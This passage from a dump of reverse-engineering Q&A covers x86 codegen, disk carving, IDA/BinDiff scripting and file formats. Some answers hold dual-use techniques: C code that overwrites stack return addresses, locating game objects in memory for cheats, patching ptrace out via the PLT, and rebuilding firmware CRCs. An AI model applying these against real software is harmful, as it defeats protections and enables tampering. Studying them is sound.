  1. Why did gcc produce code like for a 32-bit machine even if I told it to use 64-bit arithmetic with -m64?

    \n\n
    >uname -a\nCYGWIN_NT-6.2-WOW work 1.7.35(0.287/5/3) 2015-03-04 12:07 i686 Cygwin\n\n>gcc --version\ngcc (GCC) 4.9.2\n
    2. \n
\n\n

Now, let's say I'm on a 32-bit machine and I operate on 64-bit integers.

\n\n
    \n

  1. The program allocated two 32-bit variables on the stack. Is this part of a C/C++ standard, or is allocating them on the heap to be expected with some compilers (because they try to fit a 64-bit integer into a 32-bit stack in a different way)?

    2. \n

  2. If I put movq in a program designed for a 32-bit machine, will the desired behavior be emulated, or will the instruction be misunderstood?

    3. \n
\n", "Title": "64-bit integers on 32-bit machines", "Tags": "|x86|c|x86-64|stack-variables|", "Answer": "

1:

\n\n

See the Immediates section on this 64 bit assembly reference.

\n\n
\n

Immediate values inside instructions remain 32 bits and their value is sign extended to 64 bits

\n
\n\n

There just isn't an instruction to move a 64 bit immediate value to memory (*). And because it can be emulated nicely by moving two chunks of 32 bit, there was no reason to introduce new 64 bit instructions. (They could have changed the immediate movs to always use 64 bits. But considering that most constants you'll ever use are <= 2^31, using 32 bit only saves a lot of space for the upper zero bytes, and costs a bit when you actually use larger constants, so this saves memory).

\n\n

(*) However, there are instructions to move a 64 bit immediate value to the 64 bit registers, because you can't access the high 32 bit in registers, opposed to memory.

\n\n

I don't know why your program produced separate addl/adcl instructions; this is what i got from your program:

\n\n
    pushq   %rbp\n    movq    %rsp, %rbp\n    movl    $2041302511, -24(%rbp)\n    movl    $1193046, -20(%rbp)\n    movl    $-2023406815, -16(%rbp)\n    movl    $16632745, -12(%rbp)\n    movq    -16(%rbp), %rax\n    movq    -24(%rbp), %rdx\n    leaq    (%rdx,%rax), %rax\n    movq    %rax, -8(%rbp)\n    movl    $0, %eax\n    leave\n    ret\n
\n\n

As you can see, the leaq (%rdx,%rax), %rax adds 64 bit numbers all right. This was a gcc 4.4.7 on a RHEL 6.6 64 bit system. Please, always state your compiler and OS version, as the output may be quite dependent on those.

\n\n

2:

\n\n

As long as you're dealing with an x86/amd64 architecture, you can probably rely on local variables being put on the stack, and global variables not on the stack. But please note the concept of 'stack' and 'heap' aren't as clearly defined as it would seem. The brk/sbrk mechanism of allocating memory is deprecated; modern implementations use mmap. This might mean you have several small heaps in different sections of your address space. On ARM and MIPS, there's no stack pointer at all - there's just a convention that one specific register serves as the stack pointer, but the instructions to push/pop would work with other registers as well(*). In theory, the compiler is free to do a mmap() at the start of each function to allocate local memory, and munmap() it at the end of the function. The only thing the compiler must do is not keep the memory allocated (for reasonable definitions of allocated) after the function exits.

\n\n

(*) This is a bit of an oversimplification but demonstrates the concept.

\n\n

Of course, the idea of using mmap() to make space for local variables is an extreme example, that probably noone uses. But lots of compilers put local variables into processor registers and never reserve space on the stack for them (if you never use a pointer to them, and on architectures that aren't as register-starved as x86). Many architectures use processor registers for function arguments as well. And i've seen microcontroller C compilers that allow you to put all variables local to a function into a static area, if you use a certain keyword so the compiler knows the function isn't called recursively. So, while most of the time, local variables will be placed on the stack, you shouldn't assume this is carved in stone.

\n\n

3.

\n\n

The instruction will be misunderstood. The processor can be in 32 bit or 64 bit mode, and the same instructions (in the meaning of: the same sequence of instruction bytes) have different meanings in each of them. For example, 48 89 43 ec is mov [rbx-20],rax in 64 bit mode, but dec eax; mov DWORD PTR [ebx-0x14],eax in 32 bit mode.

\n" }, { "Id": "8457", "CreationDate": "2015-03-13T17:47:43.843", "Body": "

I am currently investigating a disk image with a FAT12 file system for data recovery purpose/researching for image file carving. For this investigation, I have the actual files (JPEG images) that need to be carved/recovered from the disk image so that I can validate my results obtained from the carving process/recovery.

\n\n

During the comparison and analysis from the recovered files, I noticed that exactly between two consecutive clusters (each of size 16384 bytes/32 sectors) of file data, 4 extra/embedded bytes are being encountered. These repetitive and distinct 4 bytes that are being encountered between clusters are not found in the corresponding actual files. I think that these bytes are used somehow by the file system and hence they should be removed, is this right? If yes, what is their purposes and how can be identified during the recovery process?

\n\n

In fact, when I analyzed the same disk image using Autopsy the embedded 4 bytes between consecutive clusters were discarded.

\n\n

Hex dump:

\n\n

Actual File that needs to be recovered from disk (hex between 2 clusters):

\n\n
Offset      0  1  2  3  4  5  6  7   8  9 10 11 12 13 14 15\n\n00016336   BC 55 B4 F8 A5 E1 69 82  2A DD 4A 5D DC 46 B9 80   \u00bcU\u00b4\u00f8\u00a5\u00e1i\u201a*\u00ddJ]\u00dcF\u00b9\u20ac\n00016352   E1 33 D3 F9 76 AE 8A 79  2E 22 0F 58 EE 67 FD AD   \u00e13\u00d3\u00f9v\u00ae\u0160y.\" X\u00eeg\u00fd\u00ad\n00016368   49 E9 7B 76 45 99 3E 25  69 36 F2 00 8B 71 70 C0   I\u00e9{vE\u2122>%i6\u00f2 \u2039qp\u00c0\n00016384   FC BB 6D 65 E9 DC F2 30  7E BD 6A B4 BF 17 52 0B   \u00fc\u00bbme\u00e9\u00dc\u00f20~\u00bdj\u00b4\u00bf R \n00016400   64 9A 2D 13 58 B8 0E FB  13 65 9B 1E 87 93 F9 00   d\u0161- X\u00b8 \u00fb e\u203a \u2021\u201c\u00f9 \n00016416   7F 11 55 4F 21 AD A7 3A  51 D7 B9 CF 3C DE 35 25    UO!\u00ad\u00a7:Q\u00d7\u00b9\u00cf<\u00de5%\n
\n\n

Disk Image:

\n\n
Offset      0  1  2  3  4  5  6  7   8  9 10 11 12 13 14 15\n\n00132880   BC 55 B4 F8 A5 E1 69 82  2A DD 4A 5D DC 46 B9 80   \u00bcU\u00b4\u00f8\u00a5\u00e1i\u201a*\u00ddJ]\u00dcF\u00b9\u20ac\n00132896   E1 33 D3 F9 76 AE 8A 79  2E 22 0F 58 EE 67 FD AD   \u00e13\u00d3\u00f9v\u00ae\u0160y.\" X\u00eeg\u00fd\u00ad\n00132912   49 E9 7B 76 45 99 3E 25  69 36 F2 00 8B 71 70 C0   I\u00e9{vE\u2122>%i6\u00f2 \u2039qp\u00c0\n00132928   08 B5 A9 88 FC BB 6D 65  E9 DC F2 30 7E BD 6A B4    \u00b5\u00a9\u02c6\u00fc\u00bbme\u00e9\u00dc\u00f20~\u00bdj\u00b4\n00132944   BF 17 52 0B 64 9A 2D 13  58 B8 0E FB 13 65 9B 1E   \u00bf R d\u0161- X\u00b8 \u00fb e\u203a \n00132960   87 93 F9 00 7F 11 55 4F  21 AD A7 3A 51 D7 B9 CF   \u2021\u201c\u00f9  UO!\u00ad\u00a7:Q\u00d7\u00b9\u00cf\n00132976   3C DE 35 25                                        <\u00de5%\n
\n\n

From the above hex dump it can be visualized that 08 B5 A9 88 is exactly between the two clusters, however in the actual file those 4 bytes were eliminated.

\n\n

This case was encountered while recovering JPEG images from nps-2009-canon2-gen6 disk image

\n", "Title": "Extra bytes between clusters in FAT12", "Tags": "|file-format|hex|digital-forensics|operating-systems|binary-format|", "Answer": "

Your files aren't plain disk images, they are using the Encase File Format. Your repetitive bytes seem to be artifacts of that file format.

\n\n

There's a newer specification of the file format as well, but it requires registration.

\n\n

Autopsy probably recognizes the file format, so it removes the parts of the file that belong to the file format, not the sector dump data.

\n" }, { "Id": "8464", "CreationDate": "2015-03-14T13:05:44.540", "Body": "

This is a homework assignment, so I'd appreciate it if I would get a hint only, not a full answer. I wrote this program which is supposed to print the following:

\n\n\n\n
Executing function_a\nExecuting function_b\nFinished!\n
\n\n

The main() and function_a() functions were given, and I'm only allowed to change function_b() in the marked part.

\n\n\n\n
#include <stdio.h>\n#include <stdint.h>\n\nvoid function_b(void) {\n    char buffer[4];\n\n    // edit between here...\n    uint32_t * x = &buffer;\n    while (*(x++) != 0xa0b1c2d3);           // Find the beacon\n    *(uint32_t*)(&buffer + 6) = *(x + 2);   // Copy return address from caller\n    *(uint32_t*)(&buffer + 5) = *(x + 1);   // Copy frame pointer from caller\n    // ... and here\n\n    fprintf(stdout, \"Executing function_b\\n\");\n}\n\nvoid function_a(void) {\n    int beacon = 0xa0b1c2d3;\n    fprintf(stdout, \"Executing function_a\\n\");\n    function_b();\n    fprintf(stdout, \"Executed function_b\\n\");\n}\n\nint main(void) {\n    function_a();\n    fprintf(stdout, \"Finished!\\n\");\n    return 0;\n}\n
\n\n

The problem is of course to make sure that 'Executed function_b' is not outputted. We have to manipulate the stack so that when returning from function_b() we don't go back to its actual parent function_a() but to its grandfather main().

\n\n

The part of the code I wrote finds the beacon from function_a() and then copies the return address and saved frame pointer of function_a() to the frame of function_b(). My program does the following:

\n\n\n\n
Executing function_a\nExecuting function_b\nFinished!\nSegmentation fault (core dumped)\n
\n\n

So it does the right thing, except for the segfault. It fails when returning from the main() function. I used gdb to get this:

\n\n\n\n
(gdb) run\nStarting program: /.../exercise2c\nExecuting function_a\n\nBreakpoint 1, function_b () at exercise2c.c:9\n9       *(uint32_t*)(&buffer + 6) = *(x + 2);   // Copy return address from caller\n(gdb) backtrace\n#0  function_b () at exercise2c.c:9\n#1  0x0000000000400607 in function_a () at exercise2c.c:18\n#2  0x0000000000400630 in main () at exercise2c.c:23\n(gdb) info frame\nStack level 0, frame at 0x7fffffffdcb0:\n rip = 0x400593 in function_b (exercise2c.c:9); saved rip = 0x400607\n called by frame at 0x7fffffffdcd0\n source language c.\n Arglist at 0x7fffffffdca0, args: \n Locals at 0x7fffffffdca0, Previous frame's sp is 0x7fffffffdcb0\n Saved registers:\n  rbp at 0x7fffffffdca0, rip at 0x7fffffffdca8\n(gdb) frame 1\n#1  0x0000000000400607 in function_a () at exercise2c.c:18\n18      function_b();\n(gdb) info frame\nStack level 1, frame at 0x7fffffffdcd0:\n rip = 0x400607 in function_a (exercise2c.c:18); saved rip = 0x400630\n called by frame at 0x7fffffffdce0, caller of frame at 0x7fffffffdcb0\n source language c.\n Arglist at 0x7fffffffdcc0, args: \n Locals at 0x7fffffffdcc0, Previous frame's sp is 0x7fffffffdcd0\n Saved registers:\n  rbp at 0x7fffffffdcc0, rip at 0x7fffffffdcc8\n(gdb) step\n10      *(uint32_t*)(&buffer + 5) = *(x + 1);   // Copy frame pointer from caller\n(gdb) step\n12      fprintf(stdout, \"Executing function_b\\n\");\n(gdb) frame 0\n#0  function_b () at exercise2c.c:12\n12      fprintf(stdout, \"Executing function_b\\n\");\n(gdb) info frame\nStack level 0, frame at 0x7fffffffdcb0:\n rip = 0x4005b5 in function_b (exercise2c.c:12); saved rip = 0x400630\n called by frame at 0x7fffffffdcd0\n source language c.\n Arglist at 0x7fffffffdca0, args: \n Locals at 0x7fffffffdca0, Previous frame's sp is 0x7fffffffdcb0\n Saved registers:\n  rbp at 0x7fffffffdca0, rip at 0x7fffffffdca8\n(gdb) backtrace\n#0  function_b () at exercise2c.c:12\n#1  0x0000000000400630 in main () at exercise2c.c:23\n(gdb) continue\nContinuing.\nExecuting function_b\nFinished!\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x0000000000400654 in main () at exercise2c.c:26\n26  }(gdb) \nContinuing.\n\nProgram terminated with signal SIGSEGV, Segmentation fault.\nThe program no longer exists.\n
\n\n

You can clearly see that function_b() indeed returns to main(), but for some reason that I don't understand main() crashes. The only way I could see that happen is that I messed with the stack frame of main(), which I didn't, or that I should have changed something there - but I wouldn't know what.

\n\n

What's going on here?

\n\n

Note: the program is compiled with GCC and the flags -g -fno-omit-frame-pointer -fno-stack-protector. I'm on a 64-bit machine.

\n", "Title": "Returning a C function to its grandfather", "Tags": "|c|gdb|x86-64|callstack|", "Answer": "

As Jason writes, I should use 64-bit pointers. Besides that, it also turns out that I had to copy four numbers from the stack frame. This is working code:

\n\n
uint64_t * my_ptr = &buf;\nint * x = my_ptr;\n\nwhile (*(++x)  != 0xa0b1c2d3);  // Find the beacon. We could of course simply have a look\nuint64_t * y = x + 1;           // with gdb where it's stored, but this works generically.\n\n*(my_ptr+7) = *(y+3);           // Copy frame information\n*(my_ptr+6) = *(y+2);\n*(my_ptr+5) = *(y+1);\n*(my_ptr+4) = *y;\n
\n\n

Typically you need to fiddle a bit with what addresses you have to copy. You can get a rough idea using gdb, as you did. The exact numbers depend on the functions and their variables.

\n" }, { "Id": "8467", "CreationDate": "2015-03-15T02:10:39.373", "Body": "

So in a given game there are objects randomly placed around the map. I've managed (through playing with the memory in cheat engine) find that a single value changes when a certain object is within my draw distance. It's a boolean either 0 or 1. I had expect to then be able to search for the location of these objects (based on an interval of my location at N,E,S, and W of the object in x and y) however I was surprised to find that no values were found in this range! Is there a piece of software/method by which I could try and figure this sort of problem out?

\n\n

I realise this is a broad question - I wouldn't like to limit it to a specific game since I wish to apply the method to more than one game. If there are other ways to make the question more narrow please say so in comments and I'll amend!

\n", "Title": "What's a good method to find the location of objects in a game", "Tags": "|memory|", "Answer": "

I'll make the assumption that the application is written in Visual C++.

\n\n

CheatEngine itself is already pretty useful for finding your objects - first you need to find the place in code where these objects are created. For example in C++ you'd write:

\n\n
GameObject* obj = new GameObject();\n
\n\n

In assembly this is often inlined to a malloc call. So if you use something like IDA Pro to more accurately reverse engineer the assembly, you might see something like this:

\n\n
;; void* obj = malloc(64);\n\npush  40h      ;; alloc 64 bytes\ncall  _malloc  ;; easilly detected only if program dynamically links to msvcrt.dll\nadd   esp, 4\nmov   [esp+local_C0], eax\n
\n\n

From this you can figure out that your objects are always 64 bytes in size (this is just an example, so your concrete program probably might have bigger objects).

\n\n

If you launch the program in Visual Studio (File -> Open.. -> Project/Solution.. -> YourProgram.exe), you can force it to use the Windows debug heap, which will allow you to walk all the dynamically allocated heap nodes and filter out all nodes that are 64 bytes in size.

\n\n

Now you should have a large collection of potential GameObject pointers and the final level of filtering would be detecting some basic patterns - for example if the class uses virtual functions, the first field of the object will be its VTable entry, thus giving you an easy identifier whether it's a GameObject or not.

\n\n

This might not be a complete example, but it should be good enough to get you in the right direction.

\n" }, { "Id": "8475", "CreationDate": "2015-03-16T08:12:59.297", "Body": "

I am investigating car navigation software which runs on QNX and want to replace the startup animation with my own. I have found the files in the firmware which have the extension .canim which likely stands for compressed animation.

\n\n

The files are zlib compressed and after deflating the files start with HEX 41 4E 49 4D 31 20 20 20 20 03 00 00 E0 01 00 00(ANIM1). My question is what file format is this? (possible match: Amiga ANIM)

\n\n

I know that the screen resolution for the device is 800x480 so after DWORD 3&4 are resolution (20 03 00 00 -> 80 and E0 01 00 00 -> 480

\n\n

I've uploaded the files here, bin files are deflated versions of the .canim files.

\n\n

EDIT: some additional info: I found startup pictures in the same folder and they are zlib compressed and are simple RGB pairs with a padding 00 to align at DWORD, eg : 04 02 04 00 04 02 04 00 04 02 04 00 04 02 04 00

\n\n

EDIT2: This site has video's for each of the possible startup animations.\nAnd these are the startup pictures I have extracted:\n\"startup_generic.raw2\"

\n\n

and

\n\n

\"startup_vw_dynaudio.raw2\"

\n", "Title": "What image format is ANIM1", "Tags": "|file-format|qnx|", "Answer": "

The image data is stored as raw RGBA quads, with width/height/start defined in a block near the beginning.

\n\n

You can extract the image data from the uncompressed bins using this python script:

\n\n
import struct\nimport sys\nimport os\nfrom PIL import Image\n\nif len(sys.argv) != 3:\n  print 'usage: process.py <filename> <outdir>'\n  sys.exit(1)\n\nout_dir = sys.argv[2]\nif not os.path.exists(out_dir):\n  os.mkdir(out_dir)\n\ndata = open(sys.argv[1],'rb').read()\noffset = 0\n\n(magic,) = struct.unpack_from('<8s', data, offset)\noffset = offset + 8\n\nif magic != 'ANIM1   ':\n  print 'incorrect magic!'\n  sys.exit(1)\n\n\n(stage_width, stage_height, cmdblock_len, unk) = struct.unpack_from('<LLLL', data, offset)\noffset = offset + 16\n\nprint \"stage_width: %d\\nstage_height: %d\\ncmdblock_len: %d\\n\" %(stage_width, stage_height, cmdblock_len)\n\n(cmd_code, img_num, img_width, img_height, bytes_per_pixel, data_start) = struct.unpack_from('<LLLLLL', data, offset)\n\nwhile cmd_code == 0x11:\n  print 'generating img_%d' % (img_num)\n  im = Image.frombuffer('RGBA', (img_width, img_height), data[0x20+cmdblock_len+data_start:], 'raw', 'RGBA', 0, 1)\n  im.save(os.path.join(out_dir, 'img_%d.png'%img_num))\n  offset = offset + 0x20\n  (cmd_code, img_num, img_width, img_height, bytes_per_pixel, data_start) = struct.unpack_from('<LLLLLL', data, offset)\n
\n\n

The other data in that initial block must be used composite them into the actual animation.

\n\n

You may be able to inject your own images of the same dimensions/format to replace elements of the animations. It doesn't give you full control, but it should give you some basic capability to customise the animations.

\n" }, { "Id": "8476", "CreationDate": "2015-03-16T10:59:13.120", "Body": "

I have found problem with finding file offset which actually is program entry point.

\n\n

In case I experience problem, value of AddressOfEntryPoint is 0x1018. Here is a section which maps this address.

\n\n

\"Section

\n\n

I assume entry point should be 0x28 = 0x10 + 0x1018 - 0x1000 (PointerToRawData + AddressOfEntryPoint - VirtualAddress)

\n\n

However tools says it is 0x18 instead. I'm not sure why, made some experiments and came up with another formula.

\n\n
0x18 = (0x10 / 0x200) * 0x200 + 0x1018 - 0x1000 ((PointerToRawData / FileAlignment) * FileAlignment + AddressOfEntryPoint - VirtualAddress)\n
\n\n

I use FileAlignment from OptionalHeader and it works great, however I don't know if it is a coincidence or somewhere documented, so asking here for confirmation.

\n\n
\n\n

Also, probably not important, but file is packed with UPack(0.399), packer signature BE****AD50FF7634EB7C4801.

\n", "Title": "Problem with entry point detection as a file offset", "Tags": "|pe|entry-point|", "Answer": "

From https://code.google.com/p/corkami/wiki/PE#PointerToRawData --

\n\n
\n

if a section's physical start is lower than 200h (the lower limit for\n standard alignment), it is rounded down to 0.

\n
\n\n

Thus, the entry point's physical offset would be:\n0x00000018 = 0x00000000 + 0x00001018 - 0x00001000 (PointerToRawData_rounded_down + AddressOfEntryPoint - VirtualAddress)

\n" }, { "Id": "8479", "CreationDate": "2015-03-16T17:20:23.567", "Body": "

I'm wondering what happens if we try to run a jar through Proguard that has already been obfuscated by another obfuscator or Proguard itself? Will the obfuscated class names and methods names be changed by the new obfuscator?

\n\n

For example, I would like to have those names renamed to something simpler such as a or aab rather than unicode characters. Will another obfuscator change the names?

\n\n

\"enter

\n", "Title": "Obfuscating jar already obfuscated", "Tags": "|obfuscation|java|", "Answer": "

It all depends on what the obfuscator does. Proguard is a relatively weak obfuscator - it basically only renames things and strips out unused methods. So running Proguard on the same application twice is pretty much useless, but it won't cause any ill effects.

\n\n

If you use a stronger obfuscator however, things will almost certainly break. For example, Allatori and Stringer both encrypt constant strings with a key derived from the class and method name of the caller. At runtime, the string decrpytion function uses various hacks to get the name of the caller and then decrypts the string with that.

\n\n

If you then run Proguard on the obfuscated application, Proguard will blindly rename the classes, meaning that when the string decryption functions are called, the decryption key will be incorrect and the application will get garbage strings at best or much more likely just crash.

\n" }, { "Id": "8482", "CreationDate": "2015-03-17T12:38:12.853", "Body": "

I am totally new to reverse engineering science and does not know much about the assembly language. By the way, I am working on a data set of disassembled malicious files available at kaggle. These files are generated by IDA Pro and I do not have access to executable files or IDA Pro.

\n\n

In addition, I have read several papers on this topic and tried to implement one of them, this one. However, I need to generate a Function Call Graph from these codes. I have googled for hours, but could not find any open source tool to statically generate this graph from disassembled files.

\n\n

I am a computer science student, hence, as is expected, I am willing to implement one if there are no ones out there, however, I do not know how or where to begin.

\n\n

To sum it up, I have the following questions:

\n\n
1- How to generate function call graphs from disassembled files, statically?\n2- Are there any algorithms, tools, or libraries to do this task or similar ones?\n
\n\n

Regards

\n", "Title": "How to extract a function call graph from IDA's Pro disassembled file (.asm file)?", "Tags": "|disassembly|functions|call|", "Answer": "

Note: You'll probably get a better answer on stackoverflow, as your question is more about creating software than about reversing it.

\n\n

First, you'll want to split your text file into blocks. You can do that looking for the ============= S U B R O U T I N E ============ comments that IDA emits, or checking the sub_XXXX proc [near|far] and sub_XXXX endp markers.

\n\n

Then, to find your connections, look for the call statements in each of these procedures.

\n\n

Last, you need to layout the boxes and draw connections. You could use Graphviz to do that (you need to write a definition file in a syntax they call \"dot language\"), or check the Wikipedia Graph drawing page, which has explanations of the algorithms used, as well as links to various other software packages which might fit your need better.

\n" }, { "Id": "8488", "CreationDate": "2015-03-18T08:55:18.717", "Body": "

As a beginner I'm trying to disassemble a file with IDA Pro 6.5. \nI know that the image base can be find in IDA Pro manu Edit -> Segment -> Rebase program.

\n\n

Now, I want to get the image base of current setting through IDC or IDAPython. Are there anyone to tell me how to write script?

\n\n

Thanks in advance.

\n", "Title": "How to get imge base of current setting through script in IDA pro\uff1f", "Tags": "|ida|idapython|", "Answer": "

idc unattended

\n\n
F:\\IDA_FRE_5>del outtext.txt & idag.exe -A -S.\\segbase.idc c:\\WINDOWS\\system32\\c\nalc.idb & sleep 5 & type outtext.txt\nSegment Base is 1001000\n\nF:\\IDA_FRE_5>type segbase.idc\n#include <idc.idc>\nstatic main ()\n{\nauto fpo,fullstr,segbase;\n        Batch(1);\n        segbase = SegStart(MinEA());\n        Message(\"base is %x\\n\",segbase);\n        fpo = fopen(\"outtext.txt\",\"wb\");\n        fullstr = form(\"Segment Base is %x\\n\",segbase);\n        writestr(fpo,fullstr);\n        fclose(fpo);\n        Exit(0);\n\n}\n\nF:\\IDA_FRE_5>\n
\n" }, { "Id": "8493", "CreationDate": "2015-03-18T15:52:56.287", "Body": "

Last night I was playing Monopoly Zapped with the kids and I because quite intrigued as to how it worked. Basically, you interact with a tablet (or phone) whenever you want to do something... buy property, get out of jail, etc.

\n\n

The weird thing is it all works just by touching the card to the screen (not the camera and there is no chip in the card) and the device does all the work... it even knows if a player is using the wrong card.

\n\n

I've done a lot of searching on the Internet and cannot find ANYTHING to describe how this works. The only think I can think is there is some sort of \"electrified\" ink that is reacting with the digitizer on the screen.

\n\n

Does anyone have any other ideas?

\n\n

Thanks.

\n", "Title": "Special ink for iPhone (or other mobile) screen for interaction", "Tags": "|android|ios|", "Answer": "

According to the app developer's website, the cards use conductive ink which can interact with the mobile device's capacitive screen.

\n\n

\"Monopoly

\n" }, { "Id": "8495", "CreationDate": "2015-03-19T02:30:07.720", "Body": "

I am trying to evaluate a very large amount of binaries (thousands) using BinDiff, and currently I only need some instruction level statistics from BinDiff, which can be acquired from its dumped sqlite file easily.

\n\n

But my problem is that testing thousands of binaries using the GUI of IDA/BinDiff looks too time consuming..

\n\n

I am wondering can I invoke plugins of IDA-Pro, in particular, BinDiff, from command line and dump its output out? Is it possible to do so?

\n\n

I have some experience to use command line ida, but that only limits to execute some IDAPython scripts.

\n\n

The test is on Windows 7, with IDA-Pro 6.6 and BinDiff 4.1.

\n", "Title": "Can I invoke IDA's plugin BinDiff from command line?", "Tags": "|ida|idapython|ida-plugin|tool-bindiff|", "Answer": "

You can try the following steps:

\n\n
    \n

  1. convert binary file to IDB:

    \n\n
    $IDA_PATH\\\\idaq.exe -B -p+ $FILE_TO_CONVERT\n
    2. \n

  2. create BinExport from idb

    \n\n
    $IDA_PATH\\\\idaq.exe -A -SC:\\\\bindiff_export.idc\n
    \n\n

    where bindiff_export.idc looks like:

    \n\n
    #include <idc.idc>\nstatic main()\n{\n    Batch(0);\n    Wait();\n    Exit( 1 - RunPlugin(\"zynamics_binexport_5\", 2 ));\n}\n
    3. \n
\n\n

Should you also want to diff files, you can use BinDiff directly on BinExports:

\n\n
$PATH_TO_BINDIFF\\\\bin\\\\BinDiff_Deluxe.exe -i $BIN_EXPORT_A -j $BIN_EXPORT_B -o $OUTPUT\n
\n" }, { "Id": "8512", "CreationDate": "2015-03-22T02:13:16.133", "Body": "

I'm trying understand how some parts of a closed source program distributed as a stripped binary implemented. When I run ldd on the program, it prints only 4-5 most basic C libraries as dynamic dependencies. (e.g. libc, glib, gobject etc.) However, when I run it in gdb or attach gdb to it and run info sharedlibrary, it prints a huge list of libraries. Indeed, that program clearly uses GTK for GUI, for example, but gtk libraries are missing in ldd output and shown in info sharedlibrary output.

\n\n

I was wondering does it work and how did they achieve this. Any ideas?

\n\n

Thanks.

\n", "Title": "ldd doesn't show dynamic libraries", "Tags": "|gdb|libraries|dynamic-linking|", "Answer": "

They can load their dynamic libraries dynamically by using dlopen and dlsym functions.\nHere is the man page of dlsym and usage example

\n" }, { "Id": "8517", "CreationDate": "2015-03-22T10:26:16.650", "Body": "

\"IDA

\n\n

Analyzing the ELF file /usr/bin/curl (Ubuntu 14.04, 64bit), I stumbled upon a strange function (see image). It is called regularly via call sub_403D90 but does not end with a ret. Instead, it jumps to a label / another function (sub_403C90).\nThis is strange because there seems to be no return to sub_403D90, as from sub_403C90 onwards in the control flow, there are no jumps but only rets.

\n\n

Can someone explain to me why this is? Does it makes sense?

\n", "Title": "Strange function in IDA Pro: Only one basic block ending with a jmp sub_xxxxxx (instead of a ret)", "Tags": "|ida|disassembly|idapython|compilers|functions|", "Answer": "

This is just a bit of optimization. A call xxxx followed by a ret can be optimized to a jmp xxxx.

\n" }, { "Id": "8520", "CreationDate": "2015-03-22T15:26:35.430", "Body": "

I was reading this CTF write up and wanted to know more than the author cared to explain.

\n\n
\n

I actually just patched the PLT entries of getenv(), ptrace() and sleep(), as sleeps get pretty annoying during debug

\n
\n\n

What I wanted to know is what's the best way of going about patching PLT or GOT entries directly into the binary?

\n", "Title": "Patching PLT entries", "Tags": "|elf|got|plt|", "Answer": "

You can do this pretty easily with Pwntools:

\n
from pwn import *\n\nelf = ELF('./your-binary')\nelf.asm(elf.symbols.ptrace, 'xor eax, eax; ret')\nelf.save('./your-patched-binary')\n
\n" }, { "Id": "8521", "CreationDate": "2015-03-22T19:06:20.433", "Body": "

I am trying to do some reverse engineering to a Devolo dlan wifi 500 device (MIPS architecture). My objective is to put there some firmware modified by me.

\n

This is where I got so far:

\n
    \n
  1. Downloaded a firmware update from http://update.devolo.com/linux2/apt/pool/main/d/devolo-firmware-dlan500-wifi/
    2. \n
  2. Extracted firmware image from debian package
    3. \n
  3. Analyzed image with binwalk
    4. \n
  4. Extracted contents with firmware mod kit (present on google code).
    5. \n
  5. Modded image
    6. \n
  6. Rebuilded with fmk
    7. \n
  7. Used web interface of device to upload new firmware
    8. \n
\n

It failed on step 7. I get a message saying something like "this file does not contain valid data". So, some sort of verification is performed by the device before installing updates.

\n

So I kept investigating. The devolo image contains a devolo header/footer, a uboot and a uimage. The header/footer must contain some sort of checksum. I tried picking the valid (unmodified) update and changed one bit on the padding, uploaded it to the device and got the same error message.

\n

If I knew where the checksum is or how is obtained, I could change it after rebuilding the image. However I found no documentation about the devolo formats. To try to find the sum I compared the hexadecimal of two devolo images: wifi and wireless(the wireless image is on the same site from where I downloaded the wifi image; could not post this link and the fmk link because I have less than 10 reputation :( ). The headers/footers are very similar in most fields, though I found no 32byte field to be a sum. Perhaps someone more experienced on reverse engineering could help me.

\n

I could try to brute force the sum. Since it is a sum, I could create a collision by adding bits to the padding areas. For this I have two ideas:

\n
    \n
  1. Send through the network every combination possible;
    2. \n
  2. Use the downloaded image's libraries to test the sum locally;
    3. \n
\n

Option 1 would probably take a few years...

\n

For option 2, I tried using a qemu virtual machine and compile there, and cross compiling, with no results, due to the devolo libs using an old libc version (https://stackoverflow.com/questions/29153924/how-to-solve-c-conflicts-between-system-and-library-dependencies).

\n

My last idea is to somehow emulate the downloaded firmware in my amd64 machine, to compile some code there that would use the devolo libs, thus circumventing the dependency problems.

\n

So, I would thank any tips/mistakes on my previous steps, and any pointers on how to run the downloaded image on my pc.

\n", "Title": "Reverse engineering Devolo firmware", "Tags": "|firmware|mips|", "Answer": "

Each section in the firmware file has a crc32 over its contents.

\n\n

See this.

\n\n

It should make option 1 more viable.

\n\n

More details:\nInside the squashfs image there's whole heap of busybox based tools and a handful of standalone programs. There's one (/usr/sbin/chunk) that looked likely to have logic concerning the traversal of the firmware files. It contains a number of the 32bit values that matched the values in the firmware file that look like magic/fourcc values. strings(1) output was also pretty encouraging.

\n" }, { "Id": "8531", "CreationDate": "2015-03-23T15:59:15.793", "Body": "

The fact that GDB can attach to any process without having su rights is terrifying to me. For example, what prevents me from writing a malware/virus(/whatever the correct term is) that uses same system calls with GDB to attach to any processes, send interrupts, change instructions on the fly, add breakpoints to branching instructions to alter ZF etc.?

\n\n

You can clearly do lots of harmful things with this ability. For example, I'm doing some minor hacks using some GDB Python scripts and I can't see what's preventing me from writing some seriously dangerous/malicious stuff.

\n\n

So I have some number of questions related with how is this possible and how is this safe:

\n\n

(I'm assuming that it's the operating system who allows a process to somehow send interrupts to some other one, and access to it's address space and alter the memory. Please correct me if I'm wrong)

\n\n

1) What makes this safe? What prevents me from writing a program that alters behaviours of every single process running in a system?

\n\n

2) What system calls are involved? How does operating system give me access to address space of some other process, while not taking my own address space from me. (e.g. GDB has it's own address space, but it can also read attached process' address space)

\n\n

3) In my user-level program, is it possible to detect this kind of \"attaching\"? Like, can I print a message and terminate if another process is attached to my program? How do I detect this?

\n\n

(I'm using \"attaching\" as \"starting writing/reading my address space\")

\n\n

Thanks.

\n", "Title": "Why/how is GDB allowed to attach to a process and read/write to attached process' address space?", "Tags": "|gdb|operating-systems|process|", "Answer": "

2) The system call is ptrace. That call has lots of functionality, including \"copy a section of the tracee's memory into a local buffer in my address space\" and the reverse \"copy my buffer to the tracee's memory\". These are quite similar to windows' ReadProcessMemory and WriteProcessMemory. The tracing program needs to use these to access memory in the traced program.

\n\n

1) The fact that you can't, really, attach to processes that aren't yours, unless you have root access, or (on Linux), the CAP_SYS_PTRACE capability. In some newer Linuxes, you don't even have rights to ptrace all of your own processes, depending on the yama settings and whether the traced process is a (grand)child of the tracing process. The wikipedia page explains this in more detail.

\n\n

